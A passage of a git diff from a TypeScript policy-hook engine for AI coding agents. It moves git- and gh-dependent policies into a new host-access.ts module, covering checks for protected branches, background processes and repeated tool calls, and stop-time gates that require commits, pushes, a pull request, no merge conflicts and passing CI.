segmentAllowed = true; break; } - } - if (segmentAllowed) break; - } - if (segmentAllowed) continue; - - // Check if this segment uses a non-allowed builtin manager. - for (const [manager, patterns] of Object.entries(PKG_MANAGER_DETECTORS)) { - if (allowedSet.has(manager)) continue; - for (const pattern of patterns) { - if (pattern.test(trimmed)) { - return deny( - `"${manager}" is not an allowed package manager. ` + - `Allowed package managers for this project: ${allowedList}. ` + - `Rewrite this command using an allowed package manager.`, - ); - } - } - } - - // Check user-specified blocked managers. - for (const name of blocked) { - const lower = name.toLowerCase(); - if (allowedSet.has(lower)) continue; - const re = new RegExp(`\\b${lower.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")}\\b`); - if (re.test(trimmed)) { - return deny( - `"${lower}" is not an allowed package manager. ` + - `Allowed package managers for this project: ${allowedList}. ` + - `Rewrite this command using an allowed package manager.`, - ); - } - } - } - - return allow(); -} - -function warnBackgroundProcess(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - const isBackground = - NOHUP_RE.test(cmd) || - SCREEN_DETACH_RE.test(cmd) || - TMUX_DETACH_RE.test(cmd) || - DISOWN_RE.test(cmd) || - BACKGROUND_AMPERSAND_RE.test(cmd); - if (isBackground) { - return instruct( - "STOP: This command starts a background or detached process (nohup, screen -d, tmux -d, or trailing &). Background processes persist after Claude's session and may be difficult to track or stop. Confirm with the user before executing.", - ); - } - return allow(); -} - -// -- Workflow (Stop event) policies -- - -/** - * Claude Code plan mode (permission_mode: "plan") is research-and-plan-only — the - * agent makes no commits, pushes, or PRs by design. The Stop-workflow gates below - * all assume the agent produced code changes, so in plan mode they demand actions - * plan mode forbids (e.g. a push with nothing to push). Skip them there. Only Claude - * reports "plan" today; every other CLI resolves to "default". + * Both defaults are inert, so this is what preserves current behaviour on the + * legacy in-process path: policy warnings reach the rotating log file, and + * `~` / `$CLAUDE_PROJECT_DIR` resolve from this process's own environment when + * the request envelope did not carry them. + * + * In the daemon neither fallback is installed — `home` is derived from + * `getpwuid_r(peer_uid)` at the socket boundary and travels as request data, + * because the daemon is a resident process that may have been started from a + * different environment than the session it is answering for, and because a + * value that *widens* the allow set must come from the enforcer rather than + * from ambient state. See ./builtin/host-context. */ -function isPlanMode(ctx: PolicyContext): boolean { - return ctx.session?.permissionMode === "plan"; -} - -function requireCommitBeforeStop(ctx: PolicyContext): PolicyResult { - if (isPlanMode(ctx)) return allow("Plan mode — no changes made, skipping commit check."); - const cwd = ctx.session?.cwd; - if (!cwd) return allow("No working directory available, skipping commit check."); - - try { - const status = execSync("git status --porcelain", { - cwd, - encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], - timeout: 5000, - }).trim(); - - if (status.length > 0) { - return deny( - "You have uncommitted changes in the working directory. Commit all changes now.", - ); - } - return allow("All changes are committed."); - } catch { - return allow("Not a git repository, skipping commit check."); - } -} - -function requirePushBeforeStop(ctx: PolicyContext): PolicyResult { - if (isPlanMode(ctx)) return allow("Plan mode — no changes made, skipping push check."); - const cwd = ctx.session?.cwd; - if (!cwd) return allow("No working directory available, skipping push check."); - - try { - const remotes = execSync("git remote", { - cwd, - encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], - timeout: 3000, - }).trim(); - - if (!remotes) return allow("No git remote configured, skipping push check."); - - const remote = (ctx.params?.remote as string) ?? "origin"; - - const branch = getCurrentBranch(cwd); - if (!branch || branch === "HEAD") return allow("Detached HEAD, skipping push check."); - - const baseBranch = (ctx.params?.baseBranch as string) ?? "main"; - - // If on the base branch itself, no push of a feature branch is needed - if (branch === baseBranch) { - return allow(`On base branch "${baseBranch}", skipping push check.`); - } - - // Check if branch has diverged from base in any meaningful way - try { - const ahead = execFileSync( - "git", - ["log", `${remote}/${baseBranch}..HEAD`, "--oneline"], - { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 5000 }, - ).trim(); - - if (!ahead) { - // No commits ahead — branch is fully merged (regular merge / fast-forward) - return allow(`No commits ahead of ${remote}/${baseBranch}, skipping push check.`); - } - - // Commits exist but might be from a squash-merged PR. - // Check actual file diff — if trees are identical, work is already in base. - const diff = execFileSync( - "git", - ["diff", "--stat", `${remote}/${baseBranch}`, "HEAD"], - { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 5000 }, - ).trim(); - - if (!diff) { - return allow(`No file changes compared to ${remote}/${baseBranch}, skipping push check.`); - } - } catch { - // remote/{baseBranch} ref missing — fall through to existing push checks - } - - // Check if remote tracking branch exists - let hasTracking = false; - try { - execFileSync("git", ["rev-parse", "--verify", `${remote}/${branch}`], { - cwd, - encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], - timeout: 3000, - }); - hasTracking = true; - } catch { - // Remote tracking branch does not exist - } - - if (!hasTracking) { - return deny( - `Branch "${branch}" has not been pushed to remote "${remote}". ` + - `Run now: git push -u ${remote} ${branch}`, - ); - } - - // Check for unpushed commits - const unpushed = execFileSync("git", ["log", `${remote}/${branch}..HEAD`, "--oneline"], { - cwd, - encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], - timeout: 5000, - }).trim(); - - if (unpushed.length > 0) { - const commitCount = unpushed.split("\n").length; - return deny( - `You have ${commitCount} unpushed commit${commitCount > 1 ? "s" : ""} on branch "${branch}". ` + - `Run now: git push`, - ); - } - - return allow(`All commits pushed to "${remote}".`); - } catch { - return allow("Could not check push status, skipping."); - } -} - -function requirePrBeforeStop(ctx: PolicyContext): PolicyResult { - if (isPlanMode(ctx)) return allow("Plan mode — no changes made, skipping PR check."); - const cwd = ctx.session?.cwd; - if (!cwd) return allow("No working directory available, skipping PR check."); - - try { - // Check if gh CLI is available - try { - execSync("gh --version", { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 3000 }); - } catch { - return allow("GitHub CLI (gh) not installed, skipping PR check."); - } - - const branch = getCurrentBranch(cwd); - if (!branch || branch === "HEAD") return allow("Detached HEAD, skipping PR check."); - - const baseBranch = (ctx.params?.baseBranch as string) ?? "main"; - - // If on the base branch itself, no PR is needed - if (branch === baseBranch) { - return allow(`On base branch "${baseBranch}", skipping PR check.`); - } - - // Check if branch has diverged from base in any meaningful way - try { - const ahead = execFileSync( - "git", - ["log", `origin/${baseBranch}..HEAD`, "--oneline"], - { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 5000 }, - ).trim(); - - if (!ahead) { - // No commits ahead — branch is fully merged (regular merge / fast-forward) - return allow(`No commits ahead of origin/${baseBranch}, skipping PR check.`); - } - - // Commits exist but might be from a squash-merged PR. - // Check actual file diff — if trees are identical, work is already in main. - const diff = execFileSync( - "git", - ["diff", "--stat", `origin/${baseBranch}`, "HEAD"], - { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 5000 }, - ).trim(); - - if (!diff) { - return allow(`No file changes compared to origin/${baseBranch}, skipping PR check.`); - } - } catch { - // origin/{baseBranch} ref missing or git error — fall through to gh pr view - } - - // Check if a PR exists for this branch - let prJson: string; - try { - prJson = execSync("gh pr view --json number,url,state", { - cwd, - encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], - timeout: 15000, - }).trim(); - } catch { - // gh pr view exits non-zero when no PR exists - return deny( - `No pull request found for branch "${branch}". ` + - `Run now: gh pr create`, - ); - } - - const pr = JSON.parse(prJson) as { number: number; url: string; state: string }; - - if (pr.state === "OPEN") { - return allow(`PR #${pr.number} exists: ${pr.url}`); - } - - // Trust GitHub's authoritative state. Local-ref reconciliation can never - // converge after squash-merge or rebase-merge (the original branch commit - // is orphaned, never an ancestor of base) or when base is auto-modified - // post-merge (e.g. release-workflow version bumps). The PR being MERGED - // is itself the proof that the work shipped. - if (pr.state === "MERGED") { - return allow( - `PR #${pr.number} was merged: ${pr.url}. ` + - `Switch off this branch (e.g. 'git checkout ${baseBranch} && git pull') before stopping again.`, - ); - } - - // Reaches here only for CLOSED-without-merge — PR was rejected. - return deny( - `Pull request for branch "${branch}" is ${pr.state.toLowerCase()}. Run now: gh pr create`, - ); - } catch { - return allow("Could not check PR status, skipping."); - } -} - -function requireNoConflictsBeforeStop(ctx: PolicyContext): PolicyResult { - if (isPlanMode(ctx)) return allow("Plan mode — no changes made, skipping conflict check."); - const cwd = ctx.session?.cwd; - if (!cwd) return allow("No working directory available, skipping conflict check."); - - const branch = getCurrentBranch(cwd); - if (!branch || branch === "HEAD") return allow("Detached HEAD, skipping conflict check."); - - const baseBranch = (ctx.params?.baseBranch as string) ?? "main"; - if (branch === baseBranch) { - return allow(`On base branch "${baseBranch}", skipping conflict check.`); - } - - // -- Precheck: only enforce when an OPEN PR exists on GitHub. Without a - // confirmable merge target there is nothing to enforce, so we skip both - // the local merge-tree probe and the GitHub mergeability probe. - try { - execSync("gh --version", { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 3000 }); - } catch { - return allow("gh CLI not installed, skipping conflict check."); - } - - let prJson: string; - try { - prJson = execSync("gh pr view --json mergeable,number,url,state", { - cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 15000, - }).trim(); - } catch { - return allow("No pull request found for branch, skipping conflict check."); - } - - let pr: { mergeable: string; number: number; url: string; state: string }; - try { - pr = JSON.parse(prJson); - } catch { - return allow("Could not parse gh pr view output, skipping conflict check."); - } - - // GitHub stops computing mergeability for non-OPEN PRs (returns UNKNOWN forever). - if (pr.state !== "OPEN") { - return allow(`PR #${pr.number} is ${pr.state.toLowerCase()}; skipping conflict check.`); - } - - // -- Layer 1: local git merge-tree -- - try { - execFileSync("git", ["rev-parse", "--verify", `origin/${baseBranch}`], { - cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 3000, - }); - - const ahead = execFileSync( - "git", ["log", `origin/${baseBranch}..HEAD`, "--oneline"], - { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 5000 }, - ).trim(); - - if (ahead) { - execFileSync( - "git", - ["merge-tree", "--write-tree", "--name-only", `origin/${baseBranch}`, "HEAD"], - { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 10000 }, - ); - } - // !ahead or merge-tree exit 0 → fall through to Layer 2 - } catch (err) { - const e = err as { status?: number; stdout?: string | Buffer }; - if (e.status === 1) { - // git merge-tree exit 1 = conflicts. stdout: \n\n\n\n - const out = (typeof e.stdout === "string" ? e.stdout : e.stdout?.toString("utf8") ?? "").trim(); - const lines = out.split("\n"); - const files: string[] = []; - for (let i = 1; i < lines.length; i++) { - const line = lines[i]; - if (line === "") break; - files.push(line); - } - const fileList = files.length ? files.join(", ") : "one or more files"; - return deny( - `Branch "${branch}" has merge conflicts with ${baseBranch} in: ${fileList}. ` + - `Rebase or merge origin/${baseBranch} now and resolve the conflicts.`, - ); - } - // any other failure (e.g. missing origin/, log failure) → fall through - } - - // -- Layer 2: GitHub PR mergeability (reuses pr from precheck) -- - if (pr.mergeable === "CONFLICTING") { - return deny( - `PR #${pr.number} has merge conflicts per GitHub (${pr.url}). ` + - `Rebase or merge origin/${baseBranch} now and resolve the conflicts.`, - ); - } - if (pr.mergeable === "UNKNOWN") { - return deny( - `GitHub is still computing mergeability for PR #${pr.number} (${pr.url}). ` + - `Wait ~10 seconds, then re-check with \`gh pr view --json mergeable\` before attempting to stop again.`, - ); - } - return allow(`PR #${pr.number} merges cleanly per GitHub.`); -} - -function requireCiGreenBeforeStop(ctx: PolicyContext): PolicyResult { - if (isPlanMode(ctx)) return allow("Plan mode — no changes made, skipping CI check."); - const cwd = ctx.session?.cwd; - if (!cwd) return allow("No working directory available, skipping CI check."); - - try { - // Check if gh CLI is available - try { - execSync("gh --version", { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 3000 }); - } catch { - return allow("GitHub CLI (gh) not installed, skipping CI check."); - } - - const branch = getCurrentBranch(cwd); - if (!branch || branch === "HEAD") return allow("Detached HEAD, skipping CI check."); - - // Resolve HEAD up front — the workflow-runs filter below uses it to - // ignore runs targeting prior commits on the same branch (otherwise a - // stale failure on commit X is still reported after the fix on Y lands). - // Third-party checks and commit statuses (queried by SHA below) already - // scope to HEAD via getThirdPartyCheckRuns / getCommitStatuses. - const sha = getHeadSha(cwd); - - // 1. GitHub Actions workflow runs (filtered to current HEAD, deduped by name) - let workflowRuns: CiCheck[] = []; - try { - // --limit 20 (was 5): a busy branch can push the latest run for some - // workflow out of the top-5 window after the SHA filter. 20 covers - // ~4 commits worth of runs for a 5-workflow repo without being slow. - const runsJson = execFileSync( - "gh", - ["run", "list", "--branch", branch, "--limit", "20", "--json", "status,conclusion,name,headSha"], - { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 15000 }, - ).trim(); - - if (runsJson && runsJson !== "[]") { - const allWorkflowRuns = JSON.parse(runsJson) as Array; - // Filter to runs targeting the current HEAD commit only — not - // historical runs for prior commits on the same branch. When `sha` - // is unavailable (e.g. brand-new repo with no commits) fall back - // to the unfiltered list so the policy still has something to act on. - const headRuns = sha - ? allWorkflowRuns.filter((r) => r.headSha === sha) - : allWorkflowRuns; - // Dedupe by workflow name, keeping the first occurrence (gh run list - // returns newest-first). This handles GitHub's "Re-run all jobs" which - // creates a fresh run record with the same name + headSha — without - // dedupe the older failed record would still trip the deny. - const seen = new Set(); - workflowRuns = headRuns.filter((r) => { - if (seen.has(r.name)) return false; - seen.add(r.name); - return true; - }); - } - } catch { - // fail-open for workflow runs; continue to check third-party checks - } - - // 2. Third-party check runs (CodeRabbit, SonarCloud, Codecov, etc.) - let thirdPartyChecks: CiCheck[] = []; - let commitStatuses: CiCheck[] = []; - if (sha) { - thirdPartyChecks = getThirdPartyCheckRuns(cwd, sha); - commitStatuses = getCommitStatuses(cwd, sha); - } - - // 3. Merge all checks - const allChecks = [...workflowRuns, ...thirdPartyChecks, ...commitStatuses]; - - if (allChecks.length === 0) return allow(`No CI runs found for branch "${branch}".`); - - const failing = allChecks.filter( - (r) => - r.status === "completed" && - r.conclusion !== "success" && - r.conclusion !== "skipped" && - r.conclusion !== "cancelled" && - r.conclusion !== "neutral", - ); - if (failing.length > 0) { - const names = failing.map((r) => `"${r.name}"`).join(", "); - return deny( - `CI checks are failing on branch "${branch}": ${names}. Fix the failing checks now.`, - ); - } - - const pending = allChecks.filter( - (r) => r.status === "in_progress" || r.status === "queued" || r.status === "waiting", - ); - if (pending.length > 0) { - const names = pending.map((r) => `"${r.name}"`).join(", "); - return deny( - `CI checks are still running on branch "${branch}": ${names}. Wait for all checks to complete, then verify they pass.`, - ); - } - - return allow(`All CI checks passed on branch "${branch}".`); - } catch { - return allow("Could not check CI status, skipping."); - } -} +setPolicyWarnSink(hookLogWarn); +setHostContextFallback({ + home: () => homedir(), + projectDir: () => process.env.CLAUDE_PROJECT_DIR, +}); // -- Registry -- @@ -2182,7 +648,8 @@ export function registerBuiltinPolicies(enabledNames: string[]): void { } } -/** Clears the git branch cache. Exposed for test isolation only. */ -export function clearGitBranchCache(): void { - gitBranchCache.clear(); -} +/** + * Clears the git branch cache. Exposed for test isolation only. + * Re-exported from ./builtin/host-access, which now owns the cache. + */ +export { clearGitBranchCache }; diff --git a/src/hooks/builtin/host-access.ts b/src/hooks/builtin/host-access.ts new file mode 100644 index 00000000..4de9fde0 --- /dev/null +++ b/src/hooks/builtin/host-access.ts @@ -0,0 +1,630 @@ +/** + * The seven builtin policies that genuinely need the host — 7 of 39. + * + * These cannot run in the `sealed` tier and are not meant to. They spawn `git` + * and `gh`, and one of them reads and writes a sidecar file next to the + * session transcript. That is *why* the split exists: without it all 39 + * builtins share one module importing `node:child_process`, import-graph tier + * derivation routes every one of them to `user-context`, and the sealed tier is + * empty while looking implemented. + * + * Routing here is a capability statement, not a security downgrade. Results + * combine `deny` over `instruct` over `allow`, so a `user-context` policy can + * only ever tighten a sealed verdict — never relax one. + * + * The registry that names, describes, and orders all 39 stays in + * `../builtin-policies.ts`. + */ +import { readFile, writeFile } from "node:fs/promises"; +import { execSync, execFileSync } from "node:child_process"; +import type { PolicyContext, PolicyResult } from "../policy-types"; +import { allow, deny, instruct } from "../policy-helpers"; +import { getCommand } from "./shared"; + +// blockWorkOnMain +const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; + +// Caches the current branch per cwd to avoid repeated execSync calls. +// Trade-off: if the user switches branches externally mid-session, the cache serves +// the stale value until the process restarts. This is acceptable since branch switches +// during an active Claude session are rare. +const gitBranchCache = new Map(); + +/** Clears the git branch cache. Exposed for test isolation only. */ +export function clearGitBranchCache(): void { + gitBranchCache.clear(); +} + +function getCurrentBranch(cwd: string): string | null { + try { + let branch = gitBranchCache.get(cwd); + if (branch === undefined) { + branch = execSync("git rev-parse --abbrev-ref HEAD", { + cwd, + encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], + timeout: 3000, + }).trim(); + gitBranchCache.set(cwd, branch); + } + return branch || null; + } catch { + return null; + } +} + +function getHeadSha(cwd: string): string | null { + try { + const sha = execSync("git rev-parse HEAD", { + cwd, + encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], + timeout: 3000, + }).trim(); + return sha || null; + } catch { + return null; + } +} + +interface CiCheck { + name: string; + status: string; + conclusion: string; +} + +/** Fetch third-party check runs (non-GitHub-Actions) for a commit via the Checks API. */ +function getThirdPartyCheckRuns(cwd: string, sha: string): CiCheck[] { + try { + const json = execFileSync( + "gh", + [ + "api", + `repos/{owner}/{repo}/commits/${sha}/check-runs`, + "--jq", + '.check_runs | map(select(.app.slug != "github-actions")) | map({name: .name, status: .status, conclusion: (.conclusion // "")})', + ], + { + cwd, + encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], + timeout: 15000, + }, + ).trim(); + + if (!json || json === "[]") return []; + return JSON.parse(json) as CiCheck[]; + } catch { + return []; + } +} + +/** Fetch commit statuses (legacy Status API) and normalize to CiCheck format. */ +function getCommitStatuses(cwd: string, sha: string): CiCheck[] { + try { + const json = execFileSync( + "gh", + [ + "api", + `repos/{owner}/{repo}/commits/${sha}/statuses`, + "--jq", + 'map({name: .context, state: .state}) | unique_by(.name)', + ], + { + cwd, + encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], + timeout: 15000, + }, + ).trim(); + + if (!json || json === "[]") return []; + const statuses = JSON.parse(json) as Array<{ name: string; state: string }>; + return statuses.map((s) => ({ + name: s.name, + status: s.state === "pending" ? "in_progress" : "completed", + conclusion: s.state === "pending" ? "" : s.state === "success" ? "success" : "failure", + })); + } catch { + return []; + } +} + +export function blockWorkOnMain(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + const match = cmd.match(GIT_COMMIT_MERGE_RE); + if (!match) return allow(); + + const cwd = ctx.session?.cwd; + if (!cwd) return allow(); + + const branch = getCurrentBranch(cwd); + if (!branch) return allow(); + + const protectedBranches = ((ctx.params?.protectedBranches ?? ["main", "master"]) as string[]); + if (protectedBranches.includes(branch)) { + return deny( + `Git ${match[1]} on ${branch} is blocked. Create a feature branch first.`, + ); + } + return allow(); +} + +// Maximum size of the per-session tool-call sidecar before we stop updating it. +// If exceeded, repeated-call detection degrades gracefully (allows through) rather +// than growing the file unboundedly. +const TOOL_CALL_TRACKER_MAX_BYTES = 65_536; // 64 KB + +export async function warnRepeatedToolCalls(ctx: PolicyContext): Promise { + const THRESHOLD = 3; + const transcriptPath = ctx.session?.transcriptPath; + if (!transcriptPath || !ctx.toolName || !ctx.toolInput) return allow(); + + // Sidecar file tracks { fingerprint: count } — O(1) per call vs O(transcript) per call. + const trackerPath = `${transcriptPath}.tool-calls.json`; + const fingerprint = JSON.stringify({ tool: ctx.toolName, input: ctx.toolInput }); + + let counts: Record = {}; + try { + const raw = await readFile(trackerPath, "utf8"); + counts = JSON.parse(raw) as Record; + } catch { /* first call or unreadable — start fresh */ } + + const prevCount = counts[fingerprint] ?? 0; + if (prevCount >= THRESHOLD) { + return instruct( + `STOP: You have already called ${ctx.toolName} ${prevCount} times with identical parameters. This is wasteful and unproductive. Do NOT repeat this call — use a different approach or ask the user for clarification.`, + ); + } + + counts[fingerprint] = prevCount + 1; + try { + const serialized = JSON.stringify(counts); + if (serialized.length <= TOOL_CALL_TRACKER_MAX_BYTES) { + await writeFile(trackerPath, serialized, "utf8"); + } + } catch { /* non-fatal */ } + + return allow(); +} + +// -- Workflow (Stop event) policies -- + +/** + * Claude Code plan mode (permission_mode: "plan") is research-and-plan-only — the + * agent makes no commits, pushes, or PRs by design. The Stop-workflow gates below + * all assume the agent produced code changes, so in plan mode they demand actions + * plan mode forbids (e.g. a push with nothing to push). Skip them there. Only Claude + * reports "plan" today; every other CLI resolves to "default". + */ +function isPlanMode(ctx: PolicyContext): boolean { + return ctx.session?.permissionMode === "plan"; +} + +export function requireCommitBeforeStop(ctx: PolicyContext): PolicyResult { + if (isPlanMode(ctx)) return allow("Plan mode — no changes made, skipping commit check."); + const cwd = ctx.session?.cwd; + if (!cwd) return allow("No working directory available, skipping commit check."); + + try { + const status = execSync("git status --porcelain", { + cwd, + encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], + timeout: 5000, + }).trim(); + + if (status.length > 0) { + return deny( + "You have uncommitted changes in the working directory. Commit all changes now.", + ); + } + return allow("All changes are committed."); + } catch { + return allow("Not a git repository, skipping commit check."); + } +} + +export function requirePushBeforeStop(ctx: PolicyContext): PolicyResult { + if (isPlanMode(ctx)) return allow("Plan mode — no changes made, skipping push check."); + const cwd = ctx.session?.cwd; + if (!cwd) return allow("No working directory available, skipping push check."); + + try { + const remotes = execSync("git remote", { + cwd, + encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], + timeout: 3000, + }).trim(); + + if (!remotes) return allow("No git remote configured, skipping push check."); + + const remote = (ctx.params?.remote as string) ?? "origin"; + + const branch = getCurrentBranch(cwd); + if (!branch || branch === "HEAD") return allow("Detached HEAD, skipping push check."); + + const baseBranch = (ctx.params?.baseBranch as string) ?? "main"; + + // If on the base branch itself, no push of a feature branch is needed + if (branch === baseBranch) { + return allow(`On base branch "${baseBranch}", skipping push check.`); + } + + // Check if branch has diverged from base in any meaningful way + try { + const ahead = execFileSync( + "git", + ["log", `${remote}/${baseBranch}..HEAD`, "--oneline"], + { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 5000 }, + ).trim(); + + if (!ahead) { + // No commits ahead — branch is fully merged (regular merge / fast-forward) + return allow(`No commits ahead of ${remote}/${baseBranch}, skipping push check.`); + } + + // Commits exist but might be from a squash-merged PR. + // Check actual file diff — if trees are identical, work is already in base. + const diff = execFileSync( + "git", + ["diff", "--stat", `${remote}/${baseBranch}`, "HEAD"], + { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 5000 }, + ).trim(); + + if (!diff) { + return allow(`No file changes compared to ${remote}/${baseBranch}, skipping push check.`); + } + } catch { + // remote/{baseBranch} ref missing — fall through to existing push checks + } + + // Check if remote tracking branch exists + let hasTracking = false; + try { + execFileSync("git", ["rev-parse", "--verify", `${remote}/${branch}`], { + cwd, + encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], + timeout: 3000, + }); + hasTracking = true; + } catch { + // Remote tracking branch does not exist + } + + if (!hasTracking) { + return deny( + `Branch "${branch}" has not been pushed to remote "${remote}". ` + + `Run now: git push -u ${remote} ${branch}`, + ); + } + + // Check for unpushed commits + const unpushed = execFileSync("git", ["log", `${remote}/${branch}..HEAD`, "--oneline"], { + cwd, + encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], + timeout: 5000, + }).trim(); + + if (unpushed.length > 0) { + const commitCount = unpushed.split("\n").length; + return deny( + `You have ${commitCount} unpushed commit${commitCount > 1 ? "s" : ""} on branch "${branch}". ` + + `Run now: git push`, + ); + } + + return allow(`All commits pushed to "${remote}".`); + } catch { + return allow("Could not check push status, skipping."); + } +} + +export function requirePrBeforeStop(ctx: PolicyContext): PolicyResult { + if (isPlanMode(ctx)) return allow("Plan mode — no changes made, skipping PR check."); + const cwd = ctx.session?.cwd; + if (!cwd) return allow("No working directory available, skipping PR check."); + + try { + // Check if gh CLI is available + try { + execSync("gh --version", { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 3000 }); + } catch { + return allow("GitHub CLI (gh) not installed, skipping PR check."); + } + + const branch = getCurrentBranch(cwd); + if (!branch || branch === "HEAD") return allow("Detached HEAD, skipping PR check."); + + const baseBranch = (ctx.params?.baseBranch as string) ?? "main"; + + // If on the base branch itself, no PR is needed + if (branch === baseBranch) { + return allow(`On base branch "${baseBranch}", skipping PR check.`); + } + + // Check if branch has diverged from base in any meaningful way + try { + const ahead = execFileSync( + "git", + ["log", `origin/${baseBranch}..HEAD`, "--oneline"], + { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 5000 }, + ).trim(); + + if (!ahead) { + // No commits ahead — branch is fully merged (regular merge / fast-forward) + return allow(`No commits ahead of origin/${baseBranch}, skipping PR check.`); + } + + // Commits exist but might be from a squash-merged PR. + // Check actual file diff — if trees are identical, work is already in main. + const diff = execFileSync( + "git", + ["diff", "--stat", `origin/${baseBranch}`, "HEAD"], + { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 5000 }, + ).trim(); + + if (!diff) { + return allow(`No file changes compared to origin/${baseBranch}, skipping PR check.`); + } + } catch { + // origin/{baseBranch} ref missing or git error — fall through to gh pr view + } + + // Check if a PR exists for this branch + let prJson: string; + try { + prJson = execSync("gh pr view --json number,url,state", { + cwd, + encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], + timeout: 15000, + }).trim(); + } catch { + // gh pr view exits non-zero when no PR exists + return deny( + `No pull request found for branch "${branch}". ` + + `Run now: gh pr create`, + ); + } + + const pr = JSON.parse(prJson) as { number: number; url: string; state: string }; + + if (pr.state === "OPEN") { + return allow(`PR #${pr.number} exists: ${pr.url}`); + } + + // Trust GitHub's authoritative state. Local-ref reconciliation can never + // converge after squash-merge or rebase-merge (the original branch commit + // is orphaned, never an ancestor of base) or when base is auto-modified + // post-merge (e.g. release-workflow version bumps). The PR being MERGED + // is itself the proof that the work shipped. + if (pr.state === "MERGED") { + return allow( + `PR #${pr.number} was merged: ${pr.url}. ` + + `Switch off this branch (e.g. 'git checkout ${baseBranch} && git pull') before stopping again.`, + ); + } + + // Reaches here only for CLOSED-without-merge — PR was rejected. + return deny( + `Pull request for branch "${branch}" is ${pr.state.toLowerCase()}. Run now: gh pr create`, + ); + } catch { + return allow("Could not check PR status, skipping."); + } +} + +export function requireNoConflictsBeforeStop(ctx: PolicyContext): PolicyResult { + if (isPlanMode(ctx)) return allow("Plan mode — no changes made, skipping conflict check."); + const cwd = ctx.session?.cwd; + if (!cwd) return allow("No working directory available, skipping conflict check."); + + const branch = getCurrentBranch(cwd); + if (!branch || branch === "HEAD") return allow("Detached HEAD, skipping conflict check."); + + const baseBranch = (ctx.params?.baseBranch as string) ?? "main"; + if (branch === baseBranch) { + return allow(`On base branch "${baseBranch}", skipping conflict check.`); + } + + // -- Precheck: only enforce when an OPEN PR exists on GitHub. Without a + // confirmable merge target there is nothing to enforce, so we skip both + // the local merge-tree probe and the GitHub mergeability probe. + try { + execSync("gh --version", { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 3000 }); + } catch { + return allow("gh CLI not installed, skipping conflict check."); + } + + let prJson: string; + try { + prJson = execSync("gh pr view --json mergeable,number,url,state", { + cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 15000, + }).trim(); + } catch { + return allow("No pull request found for branch, skipping conflict check."); + } + + let pr: { mergeable: string; number: number; url: string; state: string }; + try { + pr = JSON.parse(prJson); + } catch { + return allow("Could not parse gh pr view output, skipping conflict check."); + } + + // GitHub stops computing mergeability for non-OPEN PRs (returns UNKNOWN forever). + if (pr.state !== "OPEN") { + return allow(`PR #${pr.number} is ${pr.state.toLowerCase()}; skipping conflict check.`); + } + + // -- Layer 1: local git merge-tree -- + try { + execFileSync("git", ["rev-parse", "--verify", `origin/${baseBranch}`], { + cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 3000, + }); + + const ahead = execFileSync( + "git", ["log", `origin/${baseBranch}..HEAD`, "--oneline"], + { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 5000 }, + ).trim(); + + if (ahead) { + execFileSync( + "git", + ["merge-tree", "--write-tree", "--name-only", `origin/${baseBranch}`, "HEAD"], + { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 10000 }, + ); + } + // !ahead or merge-tree exit 0 → fall through to Layer 2 + } catch (err) { + const e = err as { status?: number; stdout?: string | Buffer }; + if (e.status === 1) { + // git merge-tree exit 1 = conflicts. stdout: \n\n\n\n + const out = (typeof e.stdout === "string" ? e.stdout : e.stdout?.toString("utf8") ?? "").trim(); + const lines = out.split("\n"); + const files: string[] = []; + for (let i = 1; i < lines.length; i++) { + const line = lines[i]; + if (line === "") break; + files.push(line); + } + const fileList = files.length ? files.join(", ") : "one or more files"; + return deny( + `Branch "${branch}" has merge conflicts with ${baseBranch} in: ${fileList}. ` + + `Rebase or merge origin/${baseBranch} now and resolve the conflicts.`, + ); + } + // any other failure (e.g. missing origin/, log failure) → fall through + } + + // -- Layer 2: GitHub PR mergeability (reuses pr from precheck) -- + if (pr.mergeable === "CONFLICTING") { + return deny( + `PR #${pr.number} has merge conflicts per GitHub (${pr.url}). ` + + `Rebase or merge origin/${baseBranch} now and resolve the conflicts.`, + ); + } + if (pr.mergeable === "UNKNOWN") { + return deny( + `GitHub is still computing mergeability for PR #${pr.number} (${pr.url}). 